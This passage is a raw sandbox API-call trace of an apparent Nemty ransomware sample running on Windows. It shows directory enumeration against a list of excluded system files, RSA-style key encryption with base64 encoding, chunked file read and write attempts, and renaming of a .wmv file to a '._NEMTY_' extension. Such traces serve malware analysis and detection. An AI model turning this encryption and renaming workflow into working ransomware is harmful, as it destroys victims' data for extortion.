ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x725f7645, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xef24, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="TravelIntroToMainMask_PAL.wmv", cAlternateFileName="")) returned 1 [0095.625] lstrcmpiW (lpString1="TravelIntroToMainMask_PAL.wmv", lpString2=".") returned 1 [0095.625] lstrcmpiW (lpString1="TravelIntroToMainMask_PAL.wmv", lpString2="..") returned 1 [0095.625] lstrcmpiW (lpString1="TravelIntroToMainMask_PAL.wmv", lpString2="...") returned 1 [0095.625] lstrcmpiW (lpString1="TravelIntroToMainMask_PAL.wmv", lpString2="windows") returned -1 [0095.625] lstrcmpiW (lpString1="TravelIntroToMainMask_PAL.wmv", lpString2="$RECYCLE.BIN") returned 1 [0095.625] lstrcmpiW (lpString1="TravelIntroToMainMask_PAL.wmv", lpString2="rsa") returned 1 [0095.625] lstrcmpiW (lpString1="TravelIntroToMainMask_PAL.wmv", lpString2="NTDETECT.COM") returned 1 [0095.625] lstrcmpiW (lpString1="TravelIntroToMainMask_PAL.wmv", lpString2="ntldr") returned 1 [0095.625] lstrcmpiW (lpString1="TravelIntroToMainMask_PAL.wmv", lpString2="MSDOS.SYS") returned 1 [0095.625] lstrcmpiW (lpString1="TravelIntroToMainMask_PAL.wmv", lpString2="IO.SYS") returned 1 [0095.625] lstrcmpiW (lpString1="TravelIntroToMainMask_PAL.wmv", lpString2="boot.ini") returned 1 [0095.625] lstrcmpiW (lpString1="TravelIntroToMainMask_PAL.wmv", lpString2="boot.ini") returned 1 [0095.625] lstrcmpiW (lpString1="TravelIntroToMainMask_PAL.wmv", lpString2="AUTOEXEC.BAT") returned 1 [0095.625] lstrcmpiW (lpString1="TravelIntroToMainMask_PAL.wmv", lpString2="ntuser.dat") returned 1 [0095.625] lstrcmpiW (lpString1="TravelIntroToMainMask_PAL.wmv", lpString2="desktop.ini") returned 1 [0095.625] lstrcmpiW (lpString1="TravelIntroToMainMask_PAL.wmv", lpString2="CONFIG.SYS") returned 1 [0095.625] lstrcmpiW (lpString1="TravelIntroToMainMask_PAL.wmv", lpString2="RECYCLER") returned 1 [0095.625] lstrcmpiW (lpString1="TravelIntroToMainMask_PAL.wmv", lpString2="BOOTSECT.BAK") returned 1 [0095.625] lstrcmpiW (lpString1="TravelIntroToMainMask_PAL.wmv", lpString2="bootmgr") returned 1 [0095.625] lstrcmpiW (lpString1="TravelIntroToMainMask_PAL.wmv", lpString2="programdata") returned 1 [0095.625] lstrcmpiW (lpString1="TravelIntroToMainMask_PAL.wmv", lpString2="appdata") returned 1 [0095.625] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0095.625] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TravelIntroToMainMask_PAL.wmv", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0095.625] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0095.625] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TravelIntroToMainMask_PAL.wmv", cchWideChar=29, lpMultiByteStr=0x4f9ecb8, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TravelIntroToMainMask_PAL.wmv", lpUsedDefaultChar=0x0) returned 29 [0095.625] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0095.625] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0095.625] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TravelIntroToMainMask_PAL.wmv", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0095.625] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0095.625] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TravelIntroToMainMask_PAL.wmv", cchWideChar=29, lpMultiByteStr=0x4f9ecb8, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TravelIntroToMainMask_PAL.wmv", lpUsedDefaultChar=0x0) returned 29 [0095.625] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0095.625] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0095.625] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0095.625] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0095.625] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TravelIntroToMainMask_PAL.wmv", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0095.626] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0095.626] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TravelIntroToMainMask_PAL.wmv", cchWideChar=29, lpMultiByteStr=0x4f9ecb8, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TravelIntroToMainMask_PAL.wmv", lpUsedDefaultChar=0x0) returned 29 [0095.626] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0095.626] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0095.626] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TravelIntroToMainMask_PAL.wmv", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0095.626] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0095.626] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TravelIntroToMainMask_PAL.wmv", cchWideChar=29, lpMultiByteStr=0x4f9ed08, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TravelIntroToMainMask_PAL.wmv", lpUsedDefaultChar=0x0) returned 29 [0095.626] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0095.626] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94328 [0095.626] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0095.626] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0095.626] Sleep (dwMilliseconds=0x5) [0095.641] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xeca752d0, dwHighDateTime=0x1d561e7)) [0095.641] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xeca752d0, dwHighDateTime=0x1d561e7)) [0095.641] GetLastError () returned 0x5 [0095.641] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0095.641] GetLastError () returned 0x5 [0095.641] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0095.642] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0095.642] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0095.642] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0095.642] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0095.642] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0095.642] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0095.642] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e91c | out: pszString="dN7freJqQrVbs1mZi1Ca9ujE9bof1XouCVOb8yakKK+kDoRs0nJ827Kbct3+sIqE\r\nhaOvklVjsGwFpcwoy/bF5qY5cM7VyVQ0XI1wnSA0qQFAdfxTrG9dW86KgbbXKltu\r\nBkRMlFznwdRXiA9zdLNKkaHvX7hnd/PRIaWnGjDpVAw/TCSFOqA+rGEELJv70cuw\r\n/zMHeWQtdw/pf+8Mcvg1YGY7qKYhpdXexjTC4JSTEz2wOJbPLgX6Qs/Fen1qk2m3\r\nL8/QNouSyyQ7OP354Qo0e6q5Eg0CE658d56Xy36XBAz0wZT/gLlNVatl7OA9jnEo\r\nFPNyj56S106Jxc1CPvTvDQ==\r\n", pcchString=0x653e91c) returned 1 [0095.642] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0095.642] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0095.642] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0095.642] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0095.642] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0095.642] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0095.642] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMainMask_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomainmask_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.642] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0095.642] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634dc48 [0095.642] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.642] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0095.652] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.652] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0095.652] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.652] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0095.661] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.661] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0095.661] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.661] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0095.670] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.670] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0095.671] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.671] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0095.680] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.680] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0095.680] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.680] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0095.689] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.689] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0095.689] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.689] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0095.699] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.699] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0095.699] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.699] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0095.708] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.708] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0095.708] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.708] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0095.717] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.717] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0095.717] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.717] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0095.726] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.726] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0095.727] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.727] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0095.736] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.736] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0095.736] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.736] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0095.742] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.742] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0095.742] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.742] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0095.748] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.748] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0095.748] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.748] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340100, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0095.748] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc48 | out: hHeap=0x4f90000) returned 1 [0095.748] CloseHandle (hObject=0xffffffff) returned 0 [0095.748] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0095.748] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0095.748] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0095.748] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0095.748] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0095.748] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0095.748] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0095.748] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0095.748] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0095.748] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0095.749] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMainMask_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomainmask_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMainMask_PAL.wmv._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomainmask_pal.wmv._nemty_kgobjgd_")) returned 0 [0095.749] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0095.749] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0095.749] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0095.749] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0095.749] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0095.749] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0095.749] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0095.749] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0095.749] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0095.749] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0095.749] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x725ab38b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x725ab38b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55481813, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x37f64, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="TravelIntroToMain_PAL.wmv", cAlternateFileName="")) returned 1 [0095.749] lstrcmpiW (lpString1="TravelIntroToMain_PAL.wmv", lpString2=".") returned 1 [0095.749] lstrcmpiW (lpString1="TravelIntroToMain_PAL.wmv", lpString2="..") returned 1 [0095.749] lstrcmpiW (lpString1="TravelIntroToMain_PAL.wmv", lpString2="...") returned 1 [0095.749] lstrcmpiW (lpString1="TravelIntroToMain_PAL.wmv", lpString2="windows") returned -1 [0095.749] lstrcmpiW (lpString1="TravelIntroToMain_PAL.wmv", lpString2="$RECYCLE.BIN") returned 1 [0095.749] lstrcmpiW (lpString1="TravelIntroToMain_PAL.wmv", lpString2="rsa") returned 1 [0095.749] lstrcmpiW (lpString1="TravelIntroToMain_PAL.wmv", lpString2="NTDETECT.COM") returned 1 [0095.749] lstrcmpiW (lpString1="TravelIntroToMain_PAL.wmv", lpString2="ntldr") returned 1 [0095.749] lstrcmpiW (lpString1="TravelIntroToMain_PAL.wmv", lpString2="MSDOS.SYS") returned 1 [0095.749] lstrcmpiW (lpString1="TravelIntroToMain_PAL.wmv", lpString2="IO.SYS") returned 1 [0095.749] lstrcmpiW (lpString1="TravelIntroToMain_PAL.wmv", lpString2="boot.ini") returned 1 [0095.749] lstrcmpiW (lpString1="TravelIntroToMain_PAL.wmv", lpString2="boot.ini") returned 1 [0095.749] lstrcmpiW (lpString1="TravelIntroToMain_PAL.wmv", lpString2="AUTOEXEC.BAT") returned 1 [0095.749] lstrcmpiW (lpString1="TravelIntroToMain_PAL.wmv", lpString2="ntuser.dat") returned 1 [0095.749] lstrcmpiW (lpString1="TravelIntroToMain_PAL.wmv", lpString2="desktop.ini") returned 1 [0095.749] lstrcmpiW 